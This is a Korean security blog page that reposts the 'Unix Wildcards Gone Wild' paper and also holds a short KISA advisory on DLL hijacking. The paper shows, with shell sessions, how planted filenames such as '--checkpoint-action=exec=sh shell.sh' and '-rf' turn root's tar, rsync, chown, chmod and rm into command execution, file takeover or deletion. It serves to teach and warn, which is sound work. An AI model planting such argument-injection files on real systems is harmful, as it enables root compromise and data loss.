'Hijacking'에 해당되는 글 5건

  1. 2014.08.28 Unix Wildcards Gone Wild
  2. 2010.11.09 (동영상) Discovered XSS on Facebook can lead to account hijack
  3. 2010.08.26 DLL 하이재킹 취약점으로 인한 악성코드 감염 주의
2014.08.28 14:58

Unix Wildcards Gone Wild

Back To The Future: Unix Wildcards Gone Wild

============================================ - Leon Juranic <leon@defensecode.com> - Creation Date: 04/20/2013 - Release Date: 06/25/2014 Table Of Content: ===[ 1. Introduction ===[ 2. Unix Wildcards For Dummies ===[ 3. Wildcard Wilderness ===[ 4. Something more useful... 4.1 Chown file reference trick (file owner hijacking) 4.2 Chmod file reference trick 4.3 Tar arbitrary command execution 4.4 Rsync arbitrary command execution ===[ 5. Conclusion ===[ 1. Introduction First of all, this article has nothing to do with modern hacking techniques like ASLR bypass, ROP exploits, 0day remote kernel exploits or Chrome's Chain-14-Different-Bugs-To-Get-There... Nope, nothing of the above. This article will cover one interesting old-school Unix hacking technique, that will still work nowadays in 2013. Hacking technique of which (to my suprise) even many security-related people haven't heard of. That is probably because nobody ever really talked about it before. Why I decided to write on this subject is because, to me personally, it's pretty funny to see what can be done with simple Unix wildcard poisoning tricks. So, from this article, what you can expect is collection of neat *nix hacking tricks that as far as I know somehow didn't emerge earlier. If you wonder how basic Unix tools like 'tar' or 'chown' can lead to full system compromise, keep on reading. Ladies and gentleman; take your seats, fasten your belts and hold on tight - cause we're going straight back to the 80's, right to the Unix shell hacking... (Is this bad-hair-rock/groovy disco music playing in the background? I think sooo...) ===[ 2. Unix Wildcards For Dummies If you already know what Unix wildcards are, and how (and why) are they used in shell scripting, you should skip this part. However, we will include Wildcard definition here just for the sake of consistency and for potential newcomers. Wildcard is a character, or set of characters that can be used as a replacement for some range/class of characters. Wildcards are interpreted by shell before any other action is taken. Some Shell Wildcards: * An asterisk matches any number of characters in a filename, including none. ? The question mark matches any single character. [ ] Brackets enclose a set of characters, any one of which may match a single character at that position. - A hyphen used within [ ] denotes a range of characters. ~ A tilde at the beginning of a word expands to the name of your home directory. If you append another user's login name to the character, it refers to that user's home directory. Basic example of wildcards usage: # ls *.php - List all files with PHP extension # rm *.gz - Delete all GZIP files # cat backup* - Show content of all files which name is beginning with 'backup' string # ls test? - List all files whose name is beginning with string 'test' and has exactly one additional character ===[ 3. Wildcard Wilderness Wildcards as their name states, are "wild" by their nature, but moreover, in some cases, wildcards can go berserk. During the initial phase of playing with this interesting wildcard tricks, I've talked with dozen old-school Unix admins and security people, just to find out how many of them knows about wildcard tricks, and potential danger that they pose. To my suprise, only two of 20 people stated that they know it's not wise to use wildcard, particulary in 'rm' command, because someone could abuse it with "argument-like-filename". One of them said that he heard of that years ago on some basic Linux admin course. Funny. Simple trick behind this technique is that when using shell wildcards, especially asterisk (*), Unix shell will interpret files beginning with hyphen (-) character as command line arguments to executed command/program. That leaves space for variation of classic channeling attack. Channeling problem will arise when different kind of information channels are combined into single channel. Practical case in form of particulary this technique is combining arguments and filenames, as different "channels" into single, because of using shell wildcards. Let's check one very basic wildcard argument injection example. [root@defensecode public]# ls -al total 20 drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 . drwx------. 22 leon leon 4096 Oct 28 16:15 .. drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3 -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt -rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf We have directory with few subdirectories and few files in it. There is also file with '-rf' filename ther owned by the user 'nobody'. Now, let's run 'rm *' command, and check directory content again. [root@defensecode public]# rm * [root@defensecode public]# ls -al total 8 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 . drwx------. 22 leon leon 4096 Oct 28 16:15 .. -rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf Directory is totally empty, except for '-rf' file in it. All files and directories were recursively deleted, and it's pretty obvious what happened... When we started 'rm' command with asterisk argument, all filenames in current directory were passed as arguments to 'rm' on command line, exactly same as following line: [user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf Since there is '-rf' filename in current directory, 'rm' got -rf option as the last argument, and all files in current directory were recursively deleted. We can also check that with strace: [leon@defensecode WILD]$ strace rm * execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt", "file3.txt", "-rf"], [/* 25 vars */]) = 0 ^- HERE Now we know how it's possible to inject arbitrary arguments to the unix shell programs. In the following chapter we will discuss how we can abuse that feature to do much more than just recursively delete files. ===[ 4. Something more useful... Since now we know how it's possible to inject arbitrary arguments to shell commands, let's demonstrate few examples that are more useful, than just recursive file unlinking. First, when I stumbled across this wildcard tricks, I was starting to look for basic and common Unix programs that could be seriously affected with arbitrary and unexpected arguments. In real-world cases, following examples could be abused in form of direct interactive shell poisoning, or through some commands started from cron job, shell scripts, through some web application, and so on. In all examples below, attacker is hidden behind 'leon' account, and victim is of course - root account. ==[ 4.1 Chown file reference trick (file owner hijacking) First really interesting target I've stumbled across is 'chown'. Let's say that we have some publicly writeable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to 'nobody'. Pay attention to the file owners in the following files list. [root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 Oct 28 17:47 . drwx------. 22 user user 4096 Oct 28 17:34 .. -rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php -rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php -rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php -rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php Files in this public directory are mostly owned by the user named 'user', and root user will now change that to 'nobody'. [root@defensecode public]# chown -R nobody:nobody *.php Let's see who owns files now... [root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 Oct 28 17:47 . drwx------. 22 user user 4096 Oct 28 17:34 .. -rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php -rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php -rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php -rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php -rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php -rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php -rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php -rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php -rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php -rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php Something is not right... What happened? Somebody got drunk here. Superuser tried to change files owner to the user:group 'nobody', but somehow, all files are owned by the user 'leon' now. If we take closer look, this directory previously contained just the following two files created and owned by the user 'leon'. -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php Thing is that wildcard character used in 'chown' command line took arbitrary '--reference=.drf.php' file and passed it to the chown command at the command line as an option. Let's check chown manual page (man chown): --reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values So in this case, '--reference' option to 'chown' will override 'nobody:nobody' specified as the root, and new owner of files in this directory will be exactly same as the owner of '.drf.php', which is in this case user 'leon'. Just for the record, '.drf' is short for Dummy Reference File. :) To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the --reference option, file that's owned by some other user, not 'leon', in that case he would become owner of all files in this directory. With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically "hijack" files that are of interest to us. Even more, if user 'leon' previously created a symbolic link in that directory that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed to the user 'leon'. ===[ 4.2 Chmod file reference trick Another interesting attack vector similar to previously described 'chown' attack is 'chmod'. Chmod also has --reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard. Chmod manual page (man chmod): --reference=RFILE use RFILE's mode instead of MODE values Example is presented below. [root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 Oct 29 00:41 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php -rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php Superuser will now try to set mode 000 on all files. [root@defensecode public]# chmod 000 * Let's check permissions on files... [root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 Oct 29 00:41 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php -rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php -rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php -rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php -rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php -rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php -rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php -rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php -rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php -rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php -rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php -rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php What happened? Instead of 000, all files are now set to mode 777 because of the '--reference' option supplied through file name.. Once again, file .drf.php owned by user 'leon' with mode 777 was used as reference file and since --reference option is supplied, all files will be set to mode 777. Beside just --reference option, attacker can also create another file with '-R' filename, to change file permissions on files in all subdirectories recursively. ===[ 4.3 Tar arbitrary command execution Previous example is nice example of file ownership hijacking. Now, let's go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is: [root@defensecode public]# tar cvvf archive.tar * So, what's the problem with 'tar'? Thing is that tar has many options, and among them, there some pretty interesting options from arbitrary parameter injection point of view. Let's check tar manual page (man tar): --checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint There is '--checkpoint-action' option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution. Check the following directory: [root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Oct 28 19:34 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php -rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh Now, for example, root user wants to create archive of all files in current directory. [root@defensecode public]# tar cf archive.tar * uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges. Once again, there are few files created by user 'leon'. -rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh -rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the 'tar' program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution. [root@defensecode public]# cat shell.sh /usr/bin/id So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the 'root' account above. ===[ 4.4 Rsync arbitrary command execution Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very common on Unix systems. If we check 'rsync' manual page, we can again find options that can be abused for arbitrary command execution. Rsync manual: "You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote." Interesting rsync option from manual: -e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine Let's abuse one example directly from the 'rsync' manual page. Following example will copy all C files in local directory to a remote host 'foo' in '/src' directory. # rsync -t *.c foo:src/ Directory content: [root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Mar 28 04:47 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php -rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php -rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php -rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php -rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c Now root will try to copy all C files to the remote server. [root@defensecode public]# rsync -t *.c foo:src/ rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8] Let's see what happened... [root@defensecode public]# ls -al total 76 drwxrwxrwx. 2 user user 4096 Mar 28 04:49 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php -rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php -rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php -rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php -rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c -rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt There were two files owned by user 'leon', as listed below. -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c After 'rsync' execution, new file shell_output.txt whose owner is root is created in same directory. -rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt If we check its content, following data is found. [root@defensecode public]# cat shell_output.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option on command line, and shell.c will be executed upon 'rsync' start. Content of shell.c is presented below. [root@defensecode public]# cat shell.c /usr/bin/id > shell_output.txt ===[ 5. Conclusion Techniques discussed in article can be applied in different forms on various popular Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden among regular files, and not so easily spotted by administrator. Moreover, in case of cron jobs, shell scripts or web applications that calls shell commands, that's not even important. Moreover, there are probably much more popular Unix tools susceptible to previously described wildcard attacks. Thanks to Hrvoje Spoljar and Sec-Consult for a few ideas regarding this document.



출처 : exploit-db.com


Trackback 0 Comment 0
2010.11.09 15:04

(동영상) Discovered XSS on Facebook can lead to account hijack



출처 : http://www.acunetix.com/

Trackback 0 Comment 0
2010.08.26 11:55

DLL 하이재킹 취약점으로 인한 악성코드 감염 주의

□ 개요

   o 일부 응용프로그램에서 로드하는 라이브러리 파일의 경로를 부적절하게 검증함으로 인해 
     원격코드실행 취약점이 발생 [1, 3, 4, 5, 10]
   o 공격자는 취약한 프로그램을 사용하는 파일을 USB 이동저장매체, 압축 해제된 파일, WebDav, 
     원격 네트워크 공유 등을 통해 열도록 유도하여, 동일한 경로의 악의적인 라이브러리 파일이
     로드되어 실행되게 함으로써 악성코드를 유포할 수 있음 [1, 6, 7]
   o 취약점을 공격하는 개념증명코드가 공개되었고 다수의 응용프로그램이 취약할 것으로 
     추정[2, 5]되므로, 개발자의 취약점 점검 조치 및 사용자의 각별한 주의가 요구됨

□ 해당 시스템
   o 영향 받는 소프트웨어 [1, 5]
     - 외부 라이브러리를 안전하지 않은 방식으로 로드하는 응용프로그램
       ※ LoadLibrary() 및 LoadLibraryEx()에서 라이브러리 파일의 절대 경로를 인자로 전달하지 
          않은 경우 취약점이 발생할 수 있음

□ 권장 조치 방안
   o 해당 취약점은 취약한 응용프로그램을 개발한 제작사에서 보안 업데이트를 발표해야할
     사안으로, 응용프로그램 개발자는 다음과 같은 조치를 권장함
     - 응용프로그램이 취약한지 여부를 "DLL Hijacking Audit Tool[11]"로 판단
     - Microsoft의 MSDN 사이트에서 DLL 검색 순서[8] 및 DLL 보안[9]에 관한 문서를 참고하고,
       외부 라이브러리를 안전하게 로드할 수 있도록 해당 취약점을 패치
   o 일반 사용자는 취약점을 통한 공격을 완화시키기 위해 다음과 같은 설정 적용
     - Microsoft 기술자료 2264107[12]를 참고하여 WebDAV와 원격 네트워크 공유로부터
       라이브러리가 로딩되지 않도록 설정
     - WebClient 서비스를 비활성화
       * 시작 → 실행 → services.msc 입력 후 확인 → WebClient 서비스 속성 → 시작 유형을
         "사용 안 함"으로 설정 및 서비스 중지 선택 후 확인
     - 방화벽에서 TCP 139, 145 포트 차단
       ※ WebClient에 종속적이거나 해당 포트를 사용하는 윈도우 서비스나 응용프로그램을 사용하는
           시스템은, 기능상 장애가 발생할 수 있음
   o 취약점에 의한 피해를 줄이기 위하여 사용자는 다음과 같은 사항을 준수해야함
     - 파일공유 기능 등을 사용하지 않으면 비활성화하고 개인방화벽을 반드시 사용
     - 사용하고 있는 백신프로그램의 최신 업데이트를 유지하고, 실시간 감시기능을 활성화
     - 신뢰되지 않는 웹 사이트의 방문 자제
     - 출처가 불분명한 이메일의 링크 클릭하거나 첨부파일 열어보기 자제


□ 용어 정리
   o DLL(Dynamic Link Library, 동적 연결 라이브러리): 동시에 하나 이상의 프로그램에서 사용될
     수 있는 코드와 데이터를 포함한 라이브러리로, DLL을 사용하면 프로그램을 분리된 구성 요소로 
     모듈화하여 작성할 수 있음
   o WebDAV(Web Distributed Authoring and Versioning): 웹 기반으로 파일의 생성, 복사,
     이동 및 삭제와 같은 기능이 수행되는 방식을 정의하는 HTTP 확장
     
□ 기타 문의사항
   o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

□ 참고사이트
   [1] http://www.microsoft.com/technet/security/advisory/2269637.mspx
   [2] http://www.theregister.co.uk/2010/08/20/windows_code_execution_vuln/
   [3] http://isc.sans.edu/diary.html?storyid=9445
   [4] http://acrossecurity.blogspot.com/2010/08/binary-planting-update-day-6.html
   [5] http://www.acrossecurity.com/advisories.htm
   [6] http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html
   [7] http://blog.rapid7.com/?p=5325
   [8] http://msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx
   [9] http://msdn.microsoft.com/en-us/library/ff919712(VS.85).aspx
   [10] http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html
   [11] https://www.metasploit.com/redmine/projects/framework/repository/raw/external/
source/DLLHijackAuditKit.zip

   [12] http://support.microsoft.com/kb/2264107


Trackback 0 Comment 0